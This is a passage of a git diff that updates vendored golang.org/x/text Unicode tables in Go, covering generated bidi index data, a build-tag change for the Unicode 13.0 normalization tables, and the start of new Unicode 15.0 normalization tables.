0x3f9d: 0x000a, + 0x3f9e: 0x000a, 0x3f9f: 0x000a, 0x3fa0: 0x000a, 0x3fa1: 0x000a, 0x3fa2: 0x000a, 0x3fa3: 0x000a, + 0x3fa4: 0x000a, 0x3fa5: 0x000a, 0x3fa6: 0x000a, 0x3fa7: 0x000a, 0x3fa8: 0x000a, 0x3fa9: 0x000a, + 0x3faa: 0x000a, 0x3fab: 0x000a, 0x3fac: 0x000a, 0x3fad: 0x000a, 0x3fae: 0x000a, 0x3faf: 0x000a, + 0x3fb0: 0x000a, 0x3fb1: 0x000a, 0x3fb2: 0x000a, 0x3fb3: 0x000a, 0x3fb4: 0x000a, 0x3fb5: 0x000a, + 0x3fb6: 0x000a, 0x3fb7: 0x000a, 0x3fb8: 0x000a, 0x3fb9: 0x000a, 0x3fba: 0x000a, 0x3fbb: 0x000a, + 0x3fbc: 0x000a, 0x3fbd: 0x000a, 0x3fbe: 0x000a, 0x3fbf: 0x000a, + // Block 0xff, offset 0x3fc0 + 0x3fc0: 0x000a, 0x3fc1: 0x000a, 0x3fc2: 0x000a, 0x3fc3: 0x000a, 0x3fc4: 0x000a, 0x3fc5: 0x000a, + 0x3fc6: 0x000a, 0x3fc7: 0x000a, 0x3fc8: 0x000a, 0x3fc9: 0x000a, 0x3fca: 0x000a, + 0x3ff0: 0x0002, 0x3ff1: 0x0002, 0x3ff2: 0x0002, 0x3ff3: 0x0002, 0x3ff4: 0x0002, 0x3ff5: 0x0002, + 0x3ff6: 0x0002, 0x3ff7: 0x0002, 0x3ff8: 0x0002, 0x3ff9: 0x0002, + // Block 0x100, offset 0x4000 + 0x403e: 0x000b, 0x403f: 0x000b, + // Block 0x101, offset 0x4040 + 0x4040: 0x000b, 0x4041: 0x000b, 0x4042: 0x000b, 0x4043: 0x000b, 0x4044: 0x000b, 0x4045: 0x000b, + 0x4046: 0x000b, 0x4047: 0x000b, 0x4048: 0x000b, 0x4049: 0x000b, 0x404a: 0x000b, 0x404b: 0x000b, + 0x404c: 0x000b, 0x404d: 0x000b, 0x404e: 0x000b, 0x404f: 0x000b, 0x4050: 0x000b, 0x4051: 0x000b, + 0x4052: 0x000b, 0x4053: 0x000b, 0x4054: 0x000b, 0x4055: 0x000b, 0x4056: 0x000b, 0x4057: 0x000b, + 0x4058: 0x000b, 0x4059: 0x000b, 0x405a: 0x000b, 0x405b: 0x000b, 0x405c: 0x000b, 0x405d: 0x000b, + 0x405e: 0x000b, 0x405f: 0x000b, 0x4060: 0x000b, 0x4061: 0x000b, 0x4062: 0x000b, 0x4063: 0x000b, + 0x4064: 0x000b, 0x4065: 0x000b, 0x4066: 0x000b, 0x4067: 0x000b, 0x4068: 0x000b, 0x4069: 0x000b, + 0x406a: 0x000b, 0x406b: 0x000b, 0x406c: 0x000b, 0x406d: 0x000b, 0x406e: 0x000b, 0x406f: 0x000b, + 0x4070: 0x000b, 0x4071: 0x000b, 0x4072: 0x000b, 0x4073: 0x000b, 0x4074: 0x000b, 0x4075: 0x000b, + 0x4076: 0x000b, 0x4077: 0x000b, 0x4078: 0x000b, 0x4079: 0x000b, 0x407a: 0x000b, 0x407b: 0x000b, + 0x407c: 0x000b, 0x407d: 0x000b, 0x407e: 0x000b, 0x407f: 0x000b, + // Block 0x102, offset 0x4080 + 0x4080: 0x000c, 0x4081: 0x000c, 0x4082: 0x000c, 0x4083: 0x000c, 0x4084: 0x000c, 0x4085: 0x000c, + 0x4086: 0x000c, 0x4087: 0x000c, 0x4088: 0x000c, 0x4089: 0x000c, 0x408a: 0x000c, 0x408b: 0x000c, + 0x408c: 0x000c, 0x408d: 0x000c, 0x408e: 0x000c, 0x408f: 0x000c, 0x4090: 0x000c, 0x4091: 0x000c, + 0x4092: 0x000c, 0x4093: 0x000c, 0x4094: 0x000c, 0x4095: 0x000c, 0x4096: 0x000c, 0x4097: 0x000c, + 0x4098: 0x000c, 0x4099: 0x000c, 0x409a: 0x000c, 0x409b: 0x000c, 0x409c: 0x000c, 0x409d: 0x000c, + 0x409e: 0x000c, 0x409f: 0x000c, 0x40a0: 0x000c, 0x40a1: 0x000c, 0x40a2: 0x000c, 0x40a3: 0x000c, + 0x40a4: 0x000c, 0x40a5: 0x000c, 0x40a6: 0x000c, 0x40a7: 0x000c, 0x40a8: 0x000c, 0x40a9: 0x000c, + 0x40aa: 0x000c, 0x40ab: 0x000c, 0x40ac: 0x000c, 0x40ad: 0x000c, 0x40ae: 0x000c, 0x40af: 0x000c, + 0x40b0: 0x000b, 0x40b1: 0x000b, 0x40b2: 0x000b, 0x40b3: 0x000b, 0x40b4: 0x000b, 0x40b5: 0x000b, + 0x40b6: 0x000b, 0x40b7: 0x000b, 0x40b8: 0x000b, 0x40b9: 0x000b, 0x40ba: 0x000b, 0x40bb: 0x000b, + 0x40bc: 0x000b, 0x40bd: 0x000b, 0x40be: 0x000b, 0x40bf: 0x000b, +} + +// bidiIndex: 26 blocks, 1664 entries, 3328 bytes +// Block 0 is the zero block. +var bidiIndex = [1664]uint16{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x01, 0xc3: 0x02, + 0xca: 0x03, 0xcb: 0x04, 0xcc: 0x05, 0xcd: 0x06, 0xce: 0x07, 0xcf: 0x08, + 0xd2: 0x09, 0xd6: 0x0a, 0xd7: 0x0b, + 0xd8: 0x0c, 0xd9: 0x0d, 0xda: 0x0e, 0xdb: 0x0f, 0xdc: 0x10, 0xdd: 0x11, 0xde: 0x12, 0xdf: 0x13, + 0xe0: 0x02, 0xe1: 0x03, 0xe2: 0x04, 0xe3: 0x05, 0xe4: 0x06, + 0xea: 0x07, 0xef: 0x08, + 0xf0: 0x13, 0xf1: 0x14, 0xf2: 0x14, 0xf3: 0x16, 0xf4: 0x17, + // Block 0x4, offset 0x100 + 0x120: 0x14, 0x121: 0x15, 0x122: 0x16, 0x123: 0x17, 0x124: 0x18, 0x125: 0x19, 0x126: 0x1a, 0x127: 0x1b, + 0x128: 0x1c, 0x129: 0x1d, 0x12a: 0x1c, 0x12b: 0x1e, 0x12c: 0x1f, 0x12d: 0x20, 0x12e: 0x21, 0x12f: 0x22, + 0x130: 0x23, 0x131: 0x24, 0x132: 0x1a, 0x133: 0x25, 0x134: 0x26, 0x135: 0x27, 0x136: 0x28, 0x137: 0x29, + 0x138: 0x2a, 0x139: 0x2b, 0x13a: 0x2c, 0x13b: 0x2d, 0x13c: 0x2e, 0x13d: 0x2f, 0x13e: 0x30, 0x13f: 0x31, + // Block 0x5, offset 0x140 + 0x140: 0x32, 0x141: 0x33, 0x142: 0x34, + 0x14d: 0x35, 0x14e: 0x36, + 0x150: 0x37, + 0x15a: 0x38, 0x15c: 0x39, 0x15d: 0x3a, 0x15e: 0x3b, 0x15f: 0x3c, + 0x160: 0x3d, 0x162: 0x3e, 0x164: 0x3f, 0x165: 0x40, 0x167: 0x41, + 0x168: 0x42, 0x169: 0x43, 0x16a: 0x44, 0x16b: 0x45, 0x16c: 0x46, 0x16d: 0x47, 0x16e: 0x48, 0x16f: 0x49, + 0x170: 0x4a, 0x173: 0x4b, 0x177: 0x05, + 0x17e: 0x4c, 0x17f: 0x4d, + // Block 0x6, offset 0x180 + 0x180: 0x4e, 0x181: 0x4f, 0x182: 0x50, 0x183: 0x51, 0x184: 0x52, 0x185: 0x53, 0x186: 0x54, 0x187: 0x55, + 0x188: 0x56, 0x189: 0x55, 0x18a: 0x55, 0x18b: 0x55, 0x18c: 0x57, 0x18d: 0x58, 0x18e: 0x59, 0x18f: 0x55, + 0x190: 0x5a, 0x191: 0x5b, 0x192: 0x5c, 0x193: 0x5d, 0x194: 0x55, 0x195: 0x55, 0x196: 0x55, 0x197: 0x55, + 0x198: 0x55, 0x199: 0x55, 0x19a: 0x5e, 0x19b: 0x55, 0x19c: 0x55, 0x19d: 0x5f, 0x19e: 0x55, 0x19f: 0x60, + 0x1a4: 0x55, 0x1a5: 0x55, 0x1a6: 0x61, 0x1a7: 0x62, + 0x1a8: 0x55, 0x1a9: 0x55, 0x1aa: 0x55, 0x1ab: 0x55, 0x1ac: 0x55, 0x1ad: 0x63, 0x1ae: 0x64, 0x1af: 0x55, + 0x1b3: 0x65, 0x1b5: 0x66, 0x1b7: 0x67, + 0x1b8: 0x68, 0x1b9: 0x69, 0x1ba: 0x6a, 0x1bb: 0x6b, 0x1bc: 0x55, 0x1bd: 0x55, 0x1be: 0x55, 0x1bf: 0x6c, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x6d, 0x1c2: 0x6e, 0x1c3: 0x6f, 0x1c7: 0x70, + 0x1c8: 0x71, 0x1c9: 0x72, 0x1ca: 0x73, 0x1cb: 0x74, 0x1cd: 0x75, 0x1cf: 0x76, + // Block 0x8, offset 0x200 + 0x237: 0x55, + // Block 0x9, offset 0x240 + 0x252: 0x77, 0x253: 0x78, + 0x258: 0x79, 0x259: 0x7a, 0x25a: 0x7b, 0x25b: 0x7c, 0x25c: 0x7d, 0x25e: 0x7e, + 0x260: 0x7f, 0x261: 0x80, 0x263: 0x81, 0x264: 0x82, 0x265: 0x83, 0x266: 0x84, 0x267: 0x85, + 0x268: 0x86, 0x269: 0x87, 0x26a: 0x88, 0x26b: 0x89, 0x26d: 0x8a, 0x26f: 0x8b, + // Block 0xa, offset 0x280 + 0x2ac: 0x8c, 0x2ad: 0x8d, 0x2ae: 0x0e, 0x2af: 0x0e, + 0x2b0: 0x0e, 0x2b1: 0x0e, 0x2b2: 0x0e, 0x2b3: 0x0e, 0x2b4: 0x8e, 0x2b5: 0x8f, 0x2b6: 0x0e, 0x2b7: 0x90, + 0x2b8: 0x91, 0x2b9: 0x92, 0x2ba: 0x0e, 0x2bb: 0x93, 0x2bc: 0x94, 0x2bd: 0x95, 0x2bf: 0x96, + // Block 0xb, offset 0x2c0 + 0x2c4: 0x97, 0x2c5: 0x55, 0x2c6: 0x98, 0x2c7: 0x99, + 0x2cb: 0x9a, 0x2cd: 0x9b, + 0x2e0: 0x9c, 0x2e1: 0x9c, 0x2e2: 0x9c, 0x2e3: 0x9c, 0x2e4: 0x9d, 0x2e5: 0x9c, 0x2e6: 0x9c, 0x2e7: 0x9c, + 0x2e8: 0x9e, 0x2e9: 0x9c, 0x2ea: 0x9c, 0x2eb: 0x9f, 0x2ec: 0xa0, 0x2ed: 0x9c, 0x2ee: 0x9c, 0x2ef: 0x9c, + 0x2f0: 0x9c, 0x2f1: 0x9c, 0x2f2: 0x9c, 0x2f3: 0x9c, 0x2f4: 0xa1, 0x2f5: 0x9c, 0x2f6: 0x9c, 0x2f7: 0x9c, + 0x2f8: 0x9c, 0x2f9: 0xa2, 0x2fa: 0xa3, 0x2fb: 0xa4, 0x2fc: 0xa5, 0x2fd: 0xa6, 0x2fe: 0xa7, 0x2ff: 0x9c, + // Block 0xc, offset 0x300 + 0x300: 0xa8, 0x301: 0xa9, 0x302: 0xaa, 0x303: 0x21, 0x304: 0xab, 0x305: 0xac, 0x306: 0xad, 0x307: 0xae, + 0x308: 0xaf, 0x309: 0x28, 0x30b: 0xb0, 0x30c: 0x26, 0x30d: 0xb1, + 0x310: 0xb2, 0x311: 0xb3, 0x312: 0xb4, 0x313: 0xb5, 0x316: 0xb6, 0x317: 0xb7, + 0x318: 0xb8, 0x319: 0xb9, 0x31a: 0xba, 0x31c: 0xbb, + 0x320: 0xbc, 0x324: 0xbd, 0x325: 0xbe, 0x327: 0xbf, + 0x328: 0xc0, 0x329: 0xc1, 0x32a: 0xc2, + 0x330: 0xc3, 0x332: 0xc4, 0x334: 0xc5, 0x335: 0xc6, 0x336: 0xc7, + 0x33b: 0xc8, 0x33c: 0xc9, 0x33d: 0xca, 0x33f: 0xcb, + // Block 0xd, offset 0x340 + 0x351: 0xcc, + // Block 0xe, offset 0x380 + 0x3ab: 0xcd, 0x3ac: 0xce, + 0x3bd: 0xcf, 0x3be: 0xd0, 0x3bf: 0xd1, + // Block 0xf, offset 0x3c0 + 0x3f2: 0xd2, + // Block 0x10, offset 0x400 + 0x43c: 0xd3, 0x43d: 0xd4, + // Block 0x11, offset 0x440 + 0x445: 0xd5, 0x446: 0xd6, 0x447: 0xd7, + 0x448: 0x55, 0x449: 0xd8, 0x44c: 0x55, 0x44d: 0xd9, + 0x45b: 0xda, 0x45c: 0xdb, 0x45d: 0xdc, 0x45e: 0xdd, 0x45f: 0xde, + 0x468: 0xdf, 0x469: 0xe0, 0x46a: 0xe1, + // Block 0x12, offset 0x480 + 0x480: 0xe2, 0x482: 0xcf, 0x484: 0xce, + 0x48a: 0xe3, 0x48b: 0xe4, + 0x493: 0xe5, + 0x4a0: 0x9c, 0x4a1: 0x9c, 0x4a2: 0x9c, 0x4a3: 0xe6, 0x4a4: 0x9c, 0x4a5: 0xe7, 0x4a6: 0x9c, 0x4a7: 0x9c, + 0x4a8: 0x9c, 0x4a9: 0x9c, 0x4aa: 0x9c, 0x4ab: 0x9c, 0x4ac: 0x9c, 0x4ad: 0x9c, 0x4ae: 0x9c, 0x4af: 0x9c, + 0x4b0: 0x9c, 0x4b1: 0xe8, 0x4b2: 0xe9, 0x4b3: 0x9c, 0x4b4: 0xea, 0x4b5: 0x9c, 0x4b6: 0x9c, 0x4b7: 0x9c, + 0x4b8: 0x0e, 0x4b9: 0x0e, 0x4ba: 0x0e, 0x4bb: 0xeb, 0x4bc: 0x9c, 0x4bd: 0x9c, 0x4be: 0x9c, 0x4bf: 0x9c, + // Block 0x13, offset 0x4c0 + 0x4c0: 0xec, 0x4c1: 0x55, 0x4c2: 0xed, 0x4c3: 0xee, 0x4c4: 0xef, 0x4c5: 0xf0, 0x4c6: 0xf1, + 0x4c9: 0xf2, 0x4cc: 0x55, 0x4cd: 0x55, 0x4ce: 0x55, 0x4cf: 0x55, + 0x4d0: 0x55, 0x4d1: 0x55, 0x4d2: 0x55, 0x4d3: 0x55, 0x4d4: 0x55, 0x4d5: 0x55, 0x4d6: 0x55, 0x4d7: 0x55, + 0x4d8: 0x55, 0x4d9: 0x55, 0x4da: 0x55, 0x4db: 0xf3, 0x4dc: 0x55, 0x4dd: 0xf4, 0x4de: 0x55, 0x4df: 0xf5, + 0x4e0: 0xf6, 0x4e1: 0xf7, 0x4e2: 0xf8, 0x4e4: 0x55, 0x4e5: 0x55, 0x4e6: 0x55, 0x4e7: 0x55, + 0x4e8: 0x55, 0x4e9: 0xf9, 0x4ea: 0xfa, 0x4eb: 0xfb, 0x4ec: 0x55, 0x4ed: 0x55, 0x4ee: 0xfc, 0x4ef: 0xfd, + 0x4ff: 0xfe, + // Block 0x14, offset 0x500 + 0x53f: 0xfe, + // Block 0x15, offset 0x540 + 0x550: 0x09, 0x551: 0x0a, 0x553: 0x0b, 0x556: 0x0c, + 0x55b: 0x0d, 0x55c: 0x0e, 0x55d: 0x0f, 0x55e: 0x10, 0x55f: 0x11, + 0x56f: 0x12, + 0x57f: 0x12, + // Block 0x16, offset 0x580 + 0x58f: 0x12, + 0x59f: 0x12, + 0x5af: 0x12, + 0x5bf: 0x12, + // Block 0x17, offset 0x5c0 + 0x5c0: 0xff, 0x5c1: 0xff, 0x5c2: 0xff, 0x5c3: 0xff, 0x5c4: 0x05, 0x5c5: 0x05, 0x5c6: 0x05, 0x5c7: 0x100, + 0x5c8: 0xff, 0x5c9: 0xff, 0x5ca: 0xff, 0x5cb: 0xff, 0x5cc: 0xff, 0x5cd: 0xff, 0x5ce: 0xff, 0x5cf: 0xff, + 0x5d0: 0xff, 0x5d1: 0xff, 0x5d2: 0xff, 0x5d3: 0xff, 0x5d4: 0xff, 0x5d5: 0xff, 0x5d6: 0xff, 0x5d7: 0xff, + 0x5d8: 0xff, 0x5d9: 0xff, 0x5da: 0xff, 0x5db: 0xff, 0x5dc: 0xff, 0x5dd: 0xff, 0x5de: 0xff, 0x5df: 0xff, + 0x5e0: 0xff, 0x5e1: 0xff, 0x5e2: 0xff, 0x5e3: 0xff, 0x5e4: 0xff, 0x5e5: 0xff, 0x5e6: 0xff, 0x5e7: 0xff, + 0x5e8: 0xff, 0x5e9: 0xff, 0x5ea: 0xff, 0x5eb: 0xff, 0x5ec: 0xff, 0x5ed: 0xff, 0x5ee: 0xff, 0x5ef: 0xff, + 0x5f0: 0xff, 0x5f1: 0xff, 0x5f2: 0xff, 0x5f3: 0xff, 0x5f4: 0xff, 0x5f5: 0xff, 0x5f6: 0xff, 0x5f7: 0xff, + 0x5f8: 0xff, 0x5f9: 0xff, 0x5fa: 0xff, 0x5fb: 0xff, 0x5fc: 0xff, 0x5fd: 0xff, 0x5fe: 0xff, 0x5ff: 0xff, + // Block 0x18, offset 0x600 + 0x60f: 0x12, + 0x61f: 0x12, + 0x620: 0x15, + 0x62f: 0x12, + 0x63f: 0x12, + // Block 0x19, offset 0x640 + 0x64f: 0x12, +} + +// Total table size 19960 bytes (19KiB); checksum: F50EF68C diff --git a/vendor/golang.org/x/text/unicode/norm/tables13.0.0.go b/vendor/golang.org/x/text/unicode/norm/tables13.0.0.go index 9115ef257e..f65785e8ac 100644 --- a/vendor/golang.org/x/text/unicode/norm/tables13.0.0.go +++ b/vendor/golang.org/x/text/unicode/norm/tables13.0.0.go @@ -1,7 +1,7 @@ // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. -//go:build go1.16 -// +build go1.16 +//go:build go1.16 && !go1.21 +// +build go1.16,!go1.21 package norm diff --git a/vendor/golang.org/x/text/unicode/norm/tables15.0.0.go b/vendor/golang.org/x/text/unicode/norm/tables15.0.0.go new file mode 100644 index 0000000000..e1858b879d --- /dev/null +++ b/vendor/golang.org/x/text/unicode/norm/tables15.0.0.go @@ -0,0 +1,7908 @@ +// Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. + +//go:build go1.21 +// +build go1.21 + +package norm + +import "sync" + +const ( + // Version is the Unicode edition from which the tables are derived. + Version = "15.0.0" + + // MaxTransformChunkSize indicates the maximum number of bytes that Transform + // may need to write atomically for any Form. Making a destination buffer at + // least this size ensures that Transform can always make progress and that + // the user does not need to grow the buffer on an ErrShortDst. + MaxTransformChunkSize = 35 + maxNonStarters*4 +) + +var ccc = [56]uint8{ + 0, 1, 6, 7, 8, 9, 10, 11, + 12, 13, 14, 15, 16, 17, 18, 19, + 20, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 31, 32, 33, 34, 35, + 36, 84, 91, 103, 107, 118, 122, 129, + 130, 132, 202, 214, 216, 218, 220, 222, + 224, 226, 228, 230, 232, 233, 234, 240, +} + +const ( + firstMulti = 0x199A + firstCCC = 0x2DD5 + endMulti = 0x30A1 + firstLeadingCCC = 0x4AEF + firstCCCZeroExcept = 0x4BB9 + firstStarterWithNLead = 0x4BE0 + lastDecomp = 0x4BE2 + maxDecomp = 0x8000 +) + +// decomps: 19426 bytes +var decomps = [...]byte{ + // Bytes 0 - 3f + 0x00, 0x41, 0x20, 0x41, 0x21, 0x41, 0x22, 0x41, + 0x23, 0x41, 0x24, 0x41, 0x25, 0x41, 0x26, 0x41, + 0x27, 0x41, 0x28, 0x41, 0x29, 0x41, 0x2A, 0x41, + 0x2B, 0x41, 0x2C, 0x41, 0x2D, 0x41, 0x2E, 0x41, + 0x2F, 0x41, 0x30, 0x41, 0x31, 0x41, 0x32, 0x41, + 0x33, 0x41, 0x34, 0x41, 0x35, 0x41, 0x36, 0x41, + 0x37, 0x41, 0x38, 0x41, 0x39, 0x41, 0x3A, 0x41, + 0x3B, 0x41, 0x3C, 0x41, 0x3D, 0x41, 0x3E, 0x41, + // Bytes 40 - 7f + 0x3F, 0x41, 0x40, 0x41, 0x41, 0x41, 0x42, 0x41, + 0x43, 0x41, 0x44, 0x41, 0x45, 0x41, 0x46, 0x41, + 0x47, 0x41, 0x48, 0x41, 0x49, 0x41, 0x4A, 0x41, + 0x4B, 0x41, 0x4C, 0x41, 0x4D, 0x41, 0x4E, 0x41, + 0x4F, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, + 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, + 0x57, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x41, + 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, + // Bytes 80 - bf + 0x5F, 0x41, 0x60, 0x41, 0x61, 0x41, 0x62, 0x41, + 0x63, 0x41, 0x64, 0x41, 0x65, 0x41, 0x66, 0x41, + 0x67, 0x41, 0x68, 0x41, 0x69, 0x41, 0x6A, 0x41, + 0x6B, 0x41, 0x6C, 0x41, 0x6D, 0x41, 0x6E, 0x41, + 0x6F, 0x41, 0x70, 0x41, 0x71, 0x41, 0x72, 0x41, + 0x73, 0x41, 0x74, 0x41, 0x75, 0x41, 0x76, 0x41, + 0x77, 0x41, 0x78, 0x41, 0x79, 0x41, 0x7A, 0x41, + 0x7B, 0x41, 0x7C, 0x41, 0x7D, 0x41, 0x7E, 0x42, + // Bytes c0 - ff + 0xC2, 0xA2, 0x42, 0xC2, 0xA3, 0x42, 0xC2, 0xA5, + 0x42, 0xC2, 0xA6, 0x42, 0xC2, 0xAC, 0x42, 0xC2, + 0xB7, 0x42, 0xC3, 0x86, 0x42, 0xC3, 0xA6, 0x42, + 0xC3, 0xB0, 0x42, 0xC3, 0xB8, 0x42, 0xC4, 0xA6, + 0x42, 0xC4, 0xA7, 0x42, 0xC4, 0xB1, 0x42, 0xC5, + 0x8B, 0x42, 0xC5, 0x93, 0x42, 0xC6, 0x8E, 0x42, + 0xC6, 0x90, 0x42, 0xC6, 0xAB, 0x42, 0xC7, 0x80, + 0x42, 0xC7, 0x81, 0x42, 0xC7, 0x82, 0x42, 0xC8, + // Bytes 100 - 13f + 0xA2, 0x42, 0xC8, 0xB7, 0x42, 0xC9, 0x90, 0x42, + 0xC9, 0x91, 0x42, 0xC9, 0x92, 0x42, 0xC9, 0x93, + 0x42, 0xC9, 0x94, 0x42, 0xC9, 0x95, 0x42, 0xC9, + 0x96, 0x42, 0xC9, 0x97, 0x42, 0xC9, 0x98, 0x42, + 0xC9, 0x99, 0x42, 0xC9, 0x9B, 0x42, 0xC9, 0x9C, + 0x42, 0xC9, 0x9E, 0x42, 0xC9, 0x9F, 0x42, 0xC9, + 0xA0, 0x42, 0xC9, 0xA1, 0x42, 0xC9, 0xA2, 0x42, + 0xC9, 0xA3, 0x42, 0xC9, 0xA4, 0x42, 0xC9, 0xA5, + // Bytes 140 - 17f + 0x42, 0xC9, 0xA6, 0x42, 0xC9, 0xA7, 0x42, 0xC9, + 0xA8, 0x42, 0xC9, 0xA9, 0x42, 0xC9, 0xAA, 0x42, + 0xC9, 0xAB, 0x42, 0xC9, 0xAC, 0x42, 0xC9, 0xAD, + 0x42, 0xC9, 0xAE, 0x42, 0xC9, 0xAF, 0x42, 0xC9, + 0xB0, 0x42, 0xC9, 0xB1, 0x42, 0xC9, 0xB2, 0x42, + 0xC9, 0xB3, 0x42, 0xC9, 0xB4, 0x42, 0xC9, 0xB5, + 0x42, 0xC9, 0xB6, 0x42, 0xC9, 0xB7, 0x42, 0xC9, + 0xB8, 0x42, 0xC9, 0xB9, 0x42, 0xC9, 0xBA, 0x42, + // Bytes 180 - 1bf + 0xC9, 0xBB, 0x42, 0xC9, 0xBD, 0x42, 0xC9, 0xBE, + 0x42, 0xCA, 0x80, 0x42, 0xCA, 0x81, 0x42, 0xCA, + 0x82, 0x42, 0xCA, 0x83, 0x42, 0xCA, 0x84, 0x42, + 0xCA, 0x88, 0x42, 0xCA, 0x89, 0x42, 0xCA, 0x8A, + 0x42, 0xCA, 0x8B, 0x42, 0xCA, 0x8C, 0x42, 0xCA, + 0x8D, 0x42, 0xCA, 0x8E, 0x42, 0xCA, 0x8F, 0x42, + 0xCA, 0x90, 0x42, 0xCA, 0x91, 0x42, 0xCA, 0x92, + 0x42, 0xCA, 0x95, 0x42, 0xCA, 0x98, 0x42, 0xCA, + // Bytes 1c0 - 1ff + 0x99, 0x42, 0xCA, 0x9B, 0x42, 0xCA, 0x9C, 0x42, + 0xCA, 0x9D, 0x42, 0xCA, 0x9F, 0x42, 0xCA, 0xA1, + 0x42, 0xCA, 0xA2, 0x42, 0xCA, 0xA3, 0x42, 0xCA, + 0xA4, 0x42, 0xCA, 0xA5, 0x42, 0xCA, 0xA6, 0x42, + 0xCA, 0xA7, 0x42, 0xCA, 0xA8, 0x42, 0xCA, 0xA9, + 0x42, 0xCA, 0xAA, 0x42, 0xCA, 0xAB, 0x42, 0xCA, + 0xB9, 0x42, 0xCB, 0x90, 0x42, 0xCB, 0x91, 0x42, + 0xCE, 0x91, 0x42, 0xCE, 0x92, 0x42, 0xCE, 0x93, + // Bytes 200 - 23f + 0x42, 0xCE, 0x94, 0x42, 0xCE, 0x95, 0x42, 0xCE, + 0x96, 0x42, 0xCE, 0x97, 0x42, 0xCE, 0x98, 0x42, + 0xCE, 0x99, 0x42, 0xCE, 0x9A, 0x42, 0xCE, 0x9B, + 0x42, 0xCE, 0x9C, 0x42, 0xCE, 0x9D, 0x42, 0xCE, + 0x9E, 0x42, 0xCE, 0x9F, 0x42, 0xCE, 0xA0, 0x42, + 0xCE, 0xA1, 0x42, 0xCE, 0xA3, 0x42, 0xCE, 0xA4, + 0x42, 0xCE, 0xA5, 0x42, 0xCE, 0xA6, 0x42, 0xCE, + 0xA7, 0x42, 0xCE, 0xA8, 0x42, 0xCE, 0xA9, 0x42, + // Bytes 240 - 27f + 0xCE, 0xB1, 0x42, 0xCE, 0xB2, 0x42, 0xCE, 0xB3, + 0x42, 0xCE, 0xB4, 0x42, 0xCE, 0xB5, 0x42, 0xCE, + 0xB6, 0x42, 0xCE, 0xB7, 0x42, 0xCE, 0xB8, 0x42, + 0xCE, 0xB9, 0x42, 0xCE, 0xBA, 0x42, 0xCE, 0xBB, + 0x42, 0xCE, 0xBC, 0x42, 0xCE, 0xBD, 0x42, 0xCE, + 0xBE, 0x42, 0xCE, 0xBF, 0x42, 0xCF, 0x80, 0x42, + 0xCF, 0x81, 0x42, 0xCF, 0x82, 0x42, 0xCF, 0x83, + 0x42, 0xCF, 0x84, 0x42, 0xCF, 0x85, 0x42, 0xCF, + // Bytes 280 - 2bf + 0x86, 0x42, 0xCF, 0x87, 0x42, 0xCF, 0x88, 0x42, + 0xCF, 0x89, 0x42, 0xCF, 0x9C, 0x42, 0xCF, 0x9D, + 0x42, 0xD0, 0xB0, 0x42, 0xD0, 0xB1, 0x42, 0xD0, + 0xB2, 0x42, 0xD0, 0xB3, 0x42, 0xD0, 0xB4, 0x42, + 0xD0, 0xB5, 0x42, 0xD0, 0xB6, 0x42, 0xD0, 0xB7, + 0x42, 0xD0, 0xB8, 0x42, 0xD0, 0xBA, 0x42, 0xD0, + 0xBB, 0x42, 0xD0, 0xBC, 0x42, 0xD0, 0xBD, 0x42, + 0xD0, 0xBE, 0x42, 0xD0, 0xBF, 0x42, 0xD1, 0x80, + // Bytes 2c0 - 2ff + 0x42, 0xD1, 0x81, 0x42, 0xD1, 0x82, 0x42, 0xD1, + 0x83, 0x42, 0xD1, 0x84, 0x42, 0xD1, 0x85, 0x42, + 0xD1, 0x86, 0x42, 0xD1, 0x87, 0x42, 0xD1, 0x88, + 0x42, 0xD1, 0x8A, 0x42, 0xD1, 0x8B, 0x42, 0xD1, + 0x8C, 0x42, 0xD1, 0x8D, 0x42, 0xD1, 0x8E, 0x42, + 0xD1, 0x95, 0x42, 0xD1, 0x96, 0x42, 0xD1, 0x98, + 0x42, 0xD1, 0x9F, 0x42, 0xD2, 0x91, 0x42, 0xD2, + 0xAB, 0x42, 0xD2, 0xAF, 0x42, 0xD2, 0xB1, 0x42, + // Bytes 300 - 33f + 0xD3, 0x8F, 0x42, 0xD3, 0x99, 0x42, 0xD3, 0xA9, + 0x42, 0xD7, 0x90, 0x42, 0xD7, 0x91, 0x42, 0xD7, + 0x92, 0x42, 0xD7, 0x93, 0x42, 0xD7, 0x94, 0x42, + 0xD7, 0x9B, 0x42, 0xD7, 0x9C, 0x42, 0xD7, 0x9D, + 0x42, 0xD7, 0xA2, 0x42, 0xD7, 0xA8, 0x42, 0xD7, + 0xAA, 0x42, 0xD8, 0xA1, 0x42, 0xD8, 0xA7, 0x42, + 0xD8, 0xA8, 0x42, 0xD8, 0xA9, 0x42, 0xD8, 0xAA, + 0x42, 0xD8, 0xAB, 0x42, 0xD8, 0xAC, 0x42, 0xD8, + // Bytes 340 - 37f + 0xAD, 0x42, 0xD8, 0xAE, 0x42, 0xD8, 0xAF, 0x42, + 0xD8, 0xB0, 0x42, 0xD8, 0xB1, 0x42, 0xD8, 0xB2, + 0x42, 0xD8, 0xB3, 0x42, 0xD8, 0xB4, 0x42, 0xD8, + 0xB5, 0x42, 0xD8, 0xB6, 0x42, 0xD8, 0xB7, 0x42, + 0xD8, 0xB8, 0x42, 0xD8, 0xB9, 0x42, 0xD8, 0xBA, + 0x42, 0xD9, 0x81, 0x42, 0xD9, 0x82, 0x42, 0xD9, + 0x83, 0x42, 0xD9, 0x84, 0x42, 0xD9, 0x85, 0x42, + 0xD9, 0x86, 0x42, 0xD9, 0x87, 0x42, 0xD9, 0x88, + // Bytes 380 - 3bf + 0x42, 0xD9, 0x89, 0x42, 0xD9, 0x8A, 0x42, 0xD9, + 0xAE, 0x42, 0xD9, 0xAF, 0x42, 0xD9, 0xB1, 0x42, + 0xD9, 0xB9, 0x42, 0xD9, 0xBA, 0x42, 0xD9, 0xBB, + 0x42, 0xD9, 0xBE, 0x42, 0xD9, 0xBF, 0x42, 0xDA, + 0x80, 0x42, 0xDA, 0x83, 0x42, 0xDA, 0x84, 0x42, + 0xDA, 0x86, 0x42, 0xDA, 0x87, 0x42, 